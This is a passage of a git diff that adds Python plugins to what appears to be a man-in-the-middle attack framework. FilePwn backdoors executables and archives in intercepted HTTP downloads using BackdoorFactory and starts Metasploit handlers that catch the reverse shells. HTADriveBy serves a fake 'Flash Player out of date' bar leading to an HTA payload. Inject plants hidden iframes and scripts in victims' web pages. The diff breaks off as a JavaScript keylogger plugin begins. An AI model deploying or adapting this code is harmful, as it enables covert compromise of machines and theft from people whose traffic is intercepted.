Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +#--------------------------------------------------------------------------------# + +# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' +# +# Author Joshua Pitts the.midnite.runr 'at' gmail com +# +# Copyright (c) 2013-2014, Joshua Pitts +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, +# are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors +# may be used to endorse or promote products derived from this software without +# specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +# POSSIBILITY OF SUCH DAMAGE. +# +# Tested on Kali-Linux. (and Arch Linux) + +import sys +import os +import pefile +import zipfile +import logging +import shutil +import tempfile +import random +import string +import threading +import multiprocessing +import tarfile +import magic + +from libs.bdfactory import pebin +from libs.bdfactory import elfbin +from libs.bdfactory import machobin + +from plugins.plugin import Plugin +from tempfile import mkstemp + +class FilePwn(Plugin): + name = "FilePwn" + optname = "filepwn" + desc = "Backdoor executables being sent over http using bdfactory" + tree_info = ["BDFProxy v0.3.2 online"] + version = "0.3" + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + + self.patched = multiprocessing.Queue() + + from core.msfrpc import Msf + self.msf = Msf() + + self.binaryMimeType = {'mimes': ['application/octet-stream', 'application/x-msdownload', + 'application/x-msdos-program', 'binary/octet-stream', + 'application/x-executable', 'application/x-dosexec']} + + self.zipType = {'mimes': ['application/x-zip-compressed', 'application/zip'], 'params': {'type': 'ZIP', 'format': 'zip', 'filter': None}} # .zip + + self.gzType = {'mimes': ['application/gzip', 'application/x-gzip', 'application/gnutar'], 'params': {'type': 'TAR', 'format': 'ustar', 'filter': 'gzip'}} # .gz + + self.tarType = {'mimes': ['application/x-tar'], 'params': {'type': 'TAR', 'format': 'gnutar', 'filter': None}} # .tar + + self.bzType = {'mimes': ['application/x-bzip2', 'application/x-bzip'], 'params': {'type': 'TAR', 'format': 'gnutar', 'filter': 'bzip2'}} # .bz / .bz2 + + self.archiveTypes = [self.zipType, self.gzType, self.tarType, self.bzType] + + #FilePwn options + self.set_config() + self.parse_target_config(self.user_config['targets']['ALL']) + + self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version)) + + t = threading.Thread(name='setup_msf', target=self.setup_msf) + t.setDaemon(True) + t.start() + + def setup_msf(self): + for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: + cmd = "use exploit/multi/handler\n" + cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) + cmd += "set LHOST {}\n".format(config["HOST"]) + cmd += "set LPORT {}\n".format(config["PORT"]) + cmd += "set ExitOnSession False\n" + cmd += "exploit -j\n" + + self.msf.sendcommand(cmd) + + def on_config_change(self): + self.initialize(self.options) + + def str2bool(self, val): + if val.lower() == 'true': + return True + elif val.lower() == 'false': + return False + else: + return None + + def inject(self, data): + + if len(data) > self.archive_max_size: + self.log.error("{0} over allowed size".format(self.archive_type)) + return data + + buf = None + + if self.archive_type == "ZIP": + buf = self.inject_zip(data) + elif self.archive_type == "TAR": + buf = self.inject_tar(data, self.archive_params['filter']) + + return buf + + def inject_tar(self, aTarFileBytes, formatt=None): + # When called will unpack and edit a Tar File and return a tar file" + + tmp_file = tempfile.NamedTemporaryFile() + tmp_file.write(aTarFileBytes) + tmp_file.seek(0) + + compression_mode = ':' + if formatt == 'gzip': + compression_mode = ':gz' + if formatt == 'bzip2': + compression_mode = ':bz2' + + try: + tar_file = tarfile.open(fileobj=tmp_file, mode='r' + compression_mode) + except tarfile.ReadError as ex: + self.log.warning(ex) + tmp_file.close() + return aTarFileBytes + + self.log.info("TarFile contents and info (compression: {0}):".format(formatt)) + + members = tar_file.getmembers() + for info in members: + print "\t{0} {1}".format(info.name, info.size) + + new_tar_storage = tempfile.NamedTemporaryFile() + new_tar_file = tarfile.open(mode='w' + compression_mode, fileobj=new_tar_storage) + + patch_count = 0 + was_patched = False + + for info in members: + self.log.info(">>> Next file in tarfile: {0}".format(info.name)) + + if not info.isfile(): + self.log.warning("{0} is not a file, skipping".format(info.name)) + new_tar_file.addfile(info, tar_file.extractfile(info)) + continue + + if info.size >= long(self.FileSizeMax): + self.log.warning("{0} is too big, skipping".format(info.name)) + new_tar_file.addfile(info, tar_file.extractfile(info)) + continue + + # Check against keywords + if self.check_keyword(info.name.lower()) is True: + self.log.info('Tar blacklist enforced on {0}'.format(info.name)) + continue + + # Try to patch + extracted_file = tar_file.extractfile(info) + + if patch_count >= self.archive_patch_count: + self.log.info("Met archive config patchCount limit. Adding original file") + new_tar_file.addfile(info, extracted_file) + else: + # create the file on disk temporarily for fileGrinder to run on it + with tempfile.NamedTemporaryFile() as tmp: + shutil.copyfileobj(extracted_file, tmp) + tmp.flush() + patch_result = self.binaryGrinder(tmp.name) + if patch_result: + patch_count += 1 + file2 = os.path.join(BDFOLDER, os.path.basename(tmp.name)) + self.log.info("{0} in archive patched, adding to final archive".format(info.name)) + info.size = os.stat(file2).st_size + with open(file2, 'rb') as f: + new_tar_file.addfile(info, f) + os.remove(file2) + was_patched = True + else: + self.log.info("{0} patching failed. Keeping original file.".format(info.name)) + with open(tmp.name, 'rb') as f: + new_tar_file.addfile(info, f) + + # finalize the writing of the tar file first + new_tar_file.close() + + if was_patched is False: + # If nothing was changed return the original + self.log.info("No files were patched. Forwarding original file") + new_tar_storage.close() # it's automatically deleted + return aTarFileBytes + + # then read the new tar file into memory + new_tar_storage.seek(0) + buf = new_tar_storage.read() + new_tar_storage.close() # it's automatically deleted + + return buf + + def inject_zip(self, aZipFile): + # When called will unpack and edit a Zip File and return a zip file + tmp_file = tempfile.NamedTemporaryFile() + tmp_file.write(aZipFile) + tmp_file.seek(0) + + zippyfile = zipfile.ZipFile(tmp_file.name, 'r') + + # encryption test + try: + zippyfile.testzip() + except RuntimeError as e: + if 'encrypted' in str(e): + self.log.warning("Encrypted zipfile found. Not patching.") + else: + self.log.warning("Zipfile test failed. Returning original archive") + zippyfile.close() + tmp_file.close() + return aZipFile + + self.log.info("ZipFile contents and info:") + + for info in zippyfile.infolist(): + print "\t{0} {1}".format(info.filename, info.file_size) + + tmpDir = tempfile.mkdtemp() + zippyfile.extractall(tmpDir) + + patch_count = 0 + was_patched = False + + for info in zippyfile.infolist(): + self.log.info(">>> Next file in zipfile: {0}".format(info.filename)) + actual_file = os.path.join(tmpDir, info.filename) + + if os.path.islink(actual_file) or not os.path.isfile(actual_file): + self.log.warning("{0} is not a file, skipping".format(info.filename)) + continue + + if os.lstat(actual_file).st_size >= long(self.FileSizeMax): + self.log.warning("{0} is too big, skipping".format(info.filename)) + continue + + # Check against keywords + if self.check_keyword(info.filename.lower()) is True: + self.log.info('Zip blacklist enforced on {0}'.format(info.filename)) + continue + + if patch_count >= self.archive_patch_count: + self.log.info("Met archive config patchCount limit. Adding original file") + break + else: + patch_result = self.binaryGrinder(actual_file) + if patch_result: + patch_count += 1 + file2 = os.path.join(BDFOLDER, os.path.basename(info.filename)) + self.log.info("Patching complete, adding to archive file.") + shutil.copyfile(file2, actual_file) + self.log.info("{0} in archive patched, adding to final archive".format(info.filename)) + os.remove(file2) + was_patched = True + else: + self.log.error("{0} patching failed. Keeping original file.".format(info.filename)) + + zippyfile.close() + + if was_patched is False: + self.log.info("No files were patched. Forwarding original file") + tmp_file.close() + shutil.rmtree(tmpDir, ignore_errors=True) + return aZipFile + + zip_result = zipfile.ZipFile(tmp_file.name, 'w', zipfile.ZIP_DEFLATED) + + for base, dirs, files in os.walk(tmpDir): + for afile in files: + filename = os.path.join(base, afile) + zip_result.write(filename, arcname=filename.replace(tmpDir + '/', '')) + + zip_result.close() + # clean up + shutil.rmtree(tmpDir, ignore_errors=True) + + with open(tmp_file.name, 'rb') as f: + zip_data = f.read() + tmp_file.close() + + return zip_data + + def binaryGrinder(self, binaryFile): + """ + Feed potential binaries into this function, + it will return the result PatchedBinary, False, or None + """ + + with open(binaryFile, 'r+b') as f: + binaryTMPHandle = f.read() + + binaryHeader = binaryTMPHandle[:4] + result = None + + try: + if binaryHeader[:2] == 'MZ': # PE/COFF + pe = pefile.PE(data=binaryTMPHandle, fast_load=True) + magic = pe.OPTIONAL_HEADER.Magic + machineType = pe.FILE_HEADER.Machine + + # update when supporting more than one arch + if (magic == int('20B', 16) and machineType == 0x8664 and + self.WindowsType.lower() in ['all', 'x64']): + add_section = False + cave_jumping = False + if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append': + add_section = True + elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump': + cave_jumping = True + + # if automatic override + if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic': + cave_jumping = True + + targetFile = pebin.pebin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.WindowsIntelx64['SHELL'], + HOST=self.WindowsIntelx64['HOST'], + PORT=int(self.WindowsIntelx64['PORT']), + ADD_SECTION=add_section, + CAVE_JUMPING=cave_jumping, + IMAGE_TYPE=self.WindowsType, + RUNAS_ADMIN=self.str2bool(self.WindowsIntelx86['RUNAS_ADMIN']), + PATCH_DLL=self.str2bool(self.WindowsIntelx64['PATCH_DLL']), + SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], + ZERO_CERT=self.str2bool(self.WindowsIntelx64['ZERO_CERT']), + PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower(), + SUPPLIED_BINARY=self.WindowsIntelx64['SUPPLIED_BINARY'], + ) + + result = targetFile.run_this() + + elif (machineType == 0x14c and + self.WindowsType.lower() in ['all', 'x86']): + add_section = False + cave_jumping = False + # add_section wins for cave_jumping + # default is single for BDF + if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append': + add_section = True + elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump': + cave_jumping = True + + # if automatic override + if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic': + cave_jumping = True + add_section = False + + targetFile = pebin.pebin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.WindowsIntelx86['SHELL'], + HOST=self.WindowsIntelx86['HOST'], + PORT=int(self.WindowsIntelx86['PORT']), + ADD_SECTION=add_section, + CAVE_JUMPING=cave_jumping, + IMAGE_TYPE=self.WindowsType, + RUNAS_ADMIN=self.str2bool(self.WindowsIntelx86['RUNAS_ADMIN']), + PATCH_DLL=self.str2bool(self.WindowsIntelx86['PATCH_DLL']), + SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], + ZERO_CERT=self.str2bool(self.WindowsIntelx86['ZERO_CERT']), + PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower(), + SUPPLIED_BINARY=self.WindowsIntelx86['SUPPLIED_BINARY'], + XP_MODE=self.str2bool(self.WindowsIntelx86['XP_MODE']) + ) + + result = targetFile.run_this() + + elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF + + targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False) + targetFile.support_check() + + if targetFile.class_type == 0x1: + # x86CPU Type + targetFile = elfbin.elfbin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.LinuxIntelx86['SHELL'], + HOST=self.LinuxIntelx86['HOST'], + PORT=int(self.LinuxIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'], + IMAGE_TYPE=self.LinuxType + ) + result = targetFile.run_this() + elif targetFile.class_type == 0x2: + # x64 + targetFile = elfbin.elfbin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.LinuxIntelx64['SHELL'], + HOST=self.LinuxIntelx64['HOST'], + PORT=int(self.LinuxIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'], + IMAGE_TYPE=self.LinuxType + ) + result = targetFile.run_this() + + elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho + targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False) + targetFile.support_check() + + # ONE CHIP SET MUST HAVE PRIORITY in FAT FILE + + if targetFile.FAT_FILE is True: + if self.FatPriority == 'x86': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx86['SHELL'], + HOST=self.MachoIntelx86['HOST'], + PORT=int(self.MachoIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + elif self.FatPriority == 'x64': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx64['SHELL'], + HOST=self.MachoIntelx64['HOST'], + PORT=int(self.MachoIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx86['SHELL'], + HOST=self.MachoIntelx86['HOST'], + PORT=int(self.MachoIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx64['SHELL'], + HOST=self.MachoIntelx64['HOST'], + PORT=int(self.MachoIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + return result + + except Exception as e: + self.log.error("Exception in binaryGrinder {0}".format(e)) + return None + + def set_config(self): + try: + self.user_config = self.config['FilePwn'] + self.host_blacklist = self.user_config['hosts']['blacklist'] + self.host_whitelist = self.user_config['hosts']['whitelist'] + self.keys_blacklist = self.user_config['keywords']['blacklist'] + self.keys_whitelist = self.user_config['keywords']['whitelist'] + except Exception as e: + self.log.error("Missing field from config file: {0}".format(e)) + + def set_config_archive(self, ar): + try: + self.archive_type = ar['type'] + self.archive_blacklist = self.user_config[self.archive_type]['blacklist'] + self.archive_max_size = int(self.user_config[self.archive_type]['maxSize']) + self.archive_patch_count = int(self.user_config[self.archive_type]['patchCount']) + self.archive_params = ar + except Exception as e: + raise Exception("Missing {0} section from config file".format(e)) + + def hosts_whitelist_check(self, req_host): + if self.host_whitelist.lower() == 'all': + self.patchIT = True + + elif type(self.host_whitelist) is str: + if self.host_whitelist.lower() in req_host.lower(): + self.patchIT = True + self.log.info("Host whitelist hit: {0}, HOST: {1}".format(self.host_whitelist, req_host)) + elif req_host.lower() in self.host_whitelist.lower(): + self.patchIT = True + self.log.info("Host whitelist hit: {0}, HOST: {1} ".format(self.host_whitelist, req_host)) + else: + for keyword in self.host_whitelist: + if keyword.lower() in req_host.lower(): + self.patchIT = True + self.log.info("Host whitelist hit: {0}, HOST: {1} ".format(self.host_whitelist, req_host)) + break + + def keys_whitelist_check(self, req_url, req_host): + # Host whitelist check takes precedence + if self.patchIT is False: + return None + + if self.keys_whitelist.lower() == 'all': + self.patchIT = True + elif type(self.keys_whitelist) is str: + if self.keys_whitelist.lower() in req_url.lower(): + self.patchIT = True + self.log.info("Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, req_url)) + elif req_host.lower() in [x.lower() for x in self.keys_whitelist]: + self.patchIT = True + self.log.info("Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, req_url)) + else: + for keyword in self.keys_whitelist: + if keyword.lower() in req_url.lower(): + self.patchIT = True + self.log.info("Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, req_url)) + break + + def keys_backlist_check(self, req_url, req_host): + if type(self.keys_blacklist) is str: + if self.keys_blacklist.lower() in req_url.lower(): + self.patchIT = False + self.log.info("Keyword blacklist hit: {0}, PATH: {1}".format(self.keys_blacklist, req_url)) + else: + for keyword in self.keys_blacklist: + if keyword.lower() in req_url.lower(): + self.patchIT = False + self.log.info("Keyword blacklist hit: {0}, PATH: {1}".format(self.keys_blacklist, req_url)) + break + + def hosts_blacklist_check(self, req_host): + if type(self.host_blacklist) is str: + if self.host_blacklist.lower() in req_host.lower(): + self.patchIT = False + self.log.info("Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, req_host)) + elif req_host.lower() in [x.lower() for x in self.host_blacklist]: + self.patchIT = False + self.log.info("Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, req_host)) + else: + for host in self.host_blacklist: + if host.lower() in req_host.lower(): + self.patchIT = False + self.log.info("Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, req_host)) + break + + def parse_target_config(self, targetConfig): + for key, value in targetConfig.items(): + if hasattr(self, key) is False: + setattr(self, key, value) + self.log.debug("Settings Config {0}: {1}".format(key, value)) + + elif getattr(self, key, value) != value: + if value == "None": + continue + + # test if string can be easily converted to dict + if ':' in str(value): + for tmpkey, tmpvalue in dict(value).items(): + getattr(self, key, value)[tmpkey] = tmpvalue + self.log.debug("Updating Config {0}: {1}".format(tmpkey, tmpvalue)) + else: + setattr(self, key, value) + self.log.debug("Updating Config {0}: {1}".format(key, value)) + + def response(self, response, request, data): + + content_header = response.responseHeaders.getRawHeaders('Content-Type')[0] + client_ip = request.client.getClientIP() + host = request.headers['host'] + + if not response.responseHeaders.hasHeader('content-length'): + content_length = None + else: + content_length = int(response.responseHeaders.getRawHeaders('content-length')[0]) + + for target in self.user_config['targets'].keys(): + if target == 'ALL': + self.parse_target_config(self.user_config['targets']['ALL']) + + if target in request.headers['host']: + self.parse_target_config(self.user_config['targets'][target]) + + self.hosts_whitelist_check(host) + self.keys_whitelist_check(request.uri, host) + self.keys_backlist_check(request.uri, host) + self.hosts_blacklist_check(host) + + if content_length and (content_length >= long(self.FileSizeMax)): + self.clientlog.info("Not patching over content-length, forwarding to user", extra=request.clientInfo) + self.patchIT = False + + if self.patchIT is False: + self.clientlog.info("Config did not allow patching", extra=request.clientInfo) + + else: + + mime_type = magic.from_buffer(data, mime=True) + + if mime_type in self.binaryMimeType['mimes']: + tmp = tempfile.NamedTemporaryFile() + tmp.write(data) + tmp.flush() + tmp.seek(0) + + patchResult = self.binaryGrinder(tmp.name) + if patchResult: + self.clientlog.info("Patching complete, forwarding to user", extra=request.clientInfo) + + bd_file = os.path.join('backdoored', os.path.basename(tmp.name)) + with open(bd_file, 'r+b') as file2: + data = file2.read() + file2.close() + + os.remove(bd_file) + else: + self.clientlog.error("Patching failed", extra=request.clientInfo) + + # add_try to delete here + tmp.close() + else: + for archive in self.archiveTypes: + if mime_type in archive['mimes'] and self.str2bool(self.CompressedFiles) is True: + try: + self.set_config_archive(archive['params']) + data = self.inject(data) + except Exception as exc: + self.clientlog.error(exc, extra=request.clientInfo) + self.clientlog.warning("Returning original file", extra=request.clientInfo) + + return {'response': response, 'request': request, 'data': data} \ No newline at end of file diff --git a/plugins/htadriveby.py b/plugins/htadriveby.py new file mode 100644 index 0000000..e32a56c --- /dev/null +++ b/plugins/htadriveby.py @@ -0,0 +1,49 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import re + +from plugins.plugin import Plugin +from plugins.inject import Inject + +class HTADriveBy(Inject, Plugin): + name = 'HTA Drive-By' + desc = 'Performs HTA drive-by attacks on clients' + optname = 'hta' + ver = '0.1' + + def initialize(self, options): + self.bar_text = options.text + self.ip = options.ip + self.hta = options.hta_app.split('/')[-1] + Inject.initialize(self, options) + self.html_payload = self.get_payload() + + from core.servers.HTTP import HTTP + HTTP.add_static_endpoint(self.hta, "application/hta", options.hta_app) + + def get_payload(self): + with open("./core/html/htadriveby.html", 'r') as file: + payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read()) + payload = re.sub("_IP_GOES_HERE_", self.ip, payload) + payload = re.sub("_PAYLOAD_GOES_HERE_", self.hta, payload) + return payload + + def options(self, options): + options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar") + options.add_argument('--hta-app', type=str, default='./config/hta_driveby/flash_setup.hta', help='Path to HTA application [defaults to config/hta_driveby/flash_setup.hta]') diff --git a/plugins/imagerandomizer.py b/plugins/imagerandomizer.py new file mode 100644 index 0000000..268123a --- /dev/null +++ b/plugins/imagerandomizer.py @@ -0,0 +1,57 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import random +import os +from plugins.plugin import Plugin + +class ImageRandomizer(Plugin): + name = "ImageRandomizer" + optname = "imgrand" + desc = 'Replaces images with a random one from a specified directory' + version = "0.1" + + def initialize(self, options): + self.options = options + self.img_dir = options.img_dir + + def responseheaders(self, response, request): + '''Kill the image skipping that's in place for speed reasons''' + if request.isImageRequest: + request.isImageRequest = False + request.isImage = True + self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper() + + def response(self, response, request, data): + try: + isImage = getattr(request, 'isImage') + except AttributeError: + isImage = False + + if isImage: + try: + img = random.choice(os.listdir(self.options.img_dir)) + with open(os.path.join(self.options.img_dir, img), 'rb') as img_file: + data = img_file.read() + self.clientlog.info("Replaced image with {}".format(img), extra=request.clientInfo) + return {'response': response, 'request': request, 'data': data} + except Exception as e: + self.clientlog.info("Error: {}".format(e), extra=request.clientInfo) + + def options(self, options): + options.add_argument("--img-dir", type=str, metavar="DIRECTORY", help="Directory with images") \ No newline at end of file diff --git a/plugins/inject.py b/plugins/inject.py new file mode 100644 index 0000000..b71218c --- /dev/null +++ b/plugins/inject.py @@ -0,0 +1,198 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import time +import sys +import re +import chardet + +from bs4 import BeautifulSoup +from plugins.plugin import Plugin + +class Inject(Plugin): + name = "Inject" + optname = "inject" + desc = "Inject arbitrary content into HTML content" + version = "0.4" + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.ip = options.ip + + self.html_url = options.html_url + self.html_payload = options.html_payload + self.html_file = options.html_file + self.js_url = options.js_url + self.js_payload = options.js_payload + self.js_file = options.js_file + + self.rate_limit = options.rate_limit + self.count_limit = options.count_limit + self.per_domain = options.per_domain + self.black_ips = options.black_ips.split(',') + self.white_ips = options.white_ips.split(',') + self.white_domains = options.white_domains.split(',') + self.black_domains = options.black_domains.split(',') + + self.ctable = {} + self.dtable = {} + self.count = 0 + + + def response(self, response, request, data): + + encoding = None + ip = response.getClientIP() + hn = response.getRequestHostname() + + if not response.responseHeaders.hasHeader('Content-Type'): + return {'response': response, 'request':request, 'data': data} + + mime = response.responseHeaders.getRawHeaders('Content-Type')[0] + + if "text/html" not in mime: + return {'response': response, 'request':request, 'data': data} + + if "charset" in mime: + match = re.search('charset=(.*)', mime) + if match: + encoding = match.group(1).strip().replace('"', "") + else: + try: + encoding = chardet.detect(data)["encoding"] + except: + pass + else: + try: + encoding = chardet.detect(data)["encoding"] + except: + pass + + if self._should_inject(ip, hn) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.ip) and ("text/html" in mime): + + if encoding is not None: + html = BeautifulSoup(data.decode(encoding, "ignore"), "lxml") + else: + html = BeautifulSoup(data, "lxml") + + if html.body: + + if self.html_url: + iframe = html.new_tag("iframe", src=self.html_url, frameborder=0, height=0, width=0) + html.body.append(iframe) + self.clientlog.info("Injected HTML Iframe: {}".format(hn), extra=request.clientInfo) + + if self.html_payload: + payload = BeautifulSoup(self.html_payload, "html.parser") + html.body.append(payload) + self.clientlog.info("Injected HTML payload: {}".format(hn), extra=request.clientInfo) + + if self.html_file: + with open(self.html_file, 'r') as file: + payload = BeautifulSoup(file.read(), "html.parser") + html.body.append(payload) + self.clientlog.info("Injected HTML file: {}".format(hn), extra=request.clientInfo) + + if self.js_url: + script = html.new_tag('script', type='text/javascript', src=self.js_url) + html.body.append(script) + self.clientlog.info("Injected JS script: {}".format(hn), extra=request.clientInfo) + + if self.js_payload: + tag = html.new_tag('script', type='text/javascript') + tag.append(self.js_payload) + html.body.append(tag) + self.clientlog.info("Injected JS payload: {}".format(hn), extra=request.clientInfo) + + if self.js_file: + tag = html.new_tag('script', type='text/javascript') + with open(self.js_file, 'r') as file: + tag.append(file.read()) + html.body.append(tag) + self.clientlog.info("Injected JS file: {}".format(hn), extra=request.clientInfo) + + data = str(html) + + return {'response': response, 'request':request, 'data': data} + + def _ip_filter(self, ip): + + if self.white_ips[0] != '': + if ip in self.white_ips: + return True + else: + return False + + if self.black_ips[0] != '': + if ip in self.black_ips: + return False + else: + return True + + return True + + def _host_filter(self, host): + + if self.white_domains[0] != '': + if host in self.white_domains: + return True + else: + return False + + if self.black_domains[0] != '': + if host in self.black_domains: + return False + else: + return True + + return True + + def _should_inject(self, ip, hn): + + if self.count_limit == self.rate_limit is None and not self.per_domain: + return True + + if self.count_limit is not None and self.count > self.count_limit: + return False + + if self.rate_limit is not None: + if ip in self.ctable and time.time()-self.ctable[ip] < self.rate_limit: + return False + + if self.per_domain: + return not ip+hn in self.dtable + + return True + + def options(self, options): + options.add_argument("--js-url", type=str, help="URL of the JS to inject") + options.add_argument('--js-payload', type=str, help='JS string to inject') + options.add_argument('--js-file', type=str, help='File containing JS to inject') + options.add_argument("--html-url", type=str, help="URL of the HTML to inject") + options.add_argument("--html-payload", type=str, help="HTML string to inject") + options.add_argument('--html-file', type=str, help='File containing HTML to inject') + + group = options.add_mutually_exclusive_group(required=False) + group.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.") + group.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.") + group.add_argument("--count-limit", type=int, help="Inject only COUNT_LIMIT times per client.") + group.add_argument("--white-ips", metavar='IP', default='', type=str, help="Inject content ONLY for these ips (comma seperated)") + group.add_argument("--black-ips", metavar='IP', default='', type=str, help="DO NOT inject content for these ips (comma seperated)") + group.add_argument("--white-domains", metavar='DOMAINS', default='', type=str, help="Inject content ONLY for these domains (comma seperated)") + group.add_argument("--black-domains", metavar='DOMAINS', default='', type=str, help="DO NOT inject content for these domains (comma seperated)") diff --git a/plugins/jskeylogger.py b/plugins/jskeylogger.py new file mode 100644 index 0000000..fdb726a --- /dev/null +++ 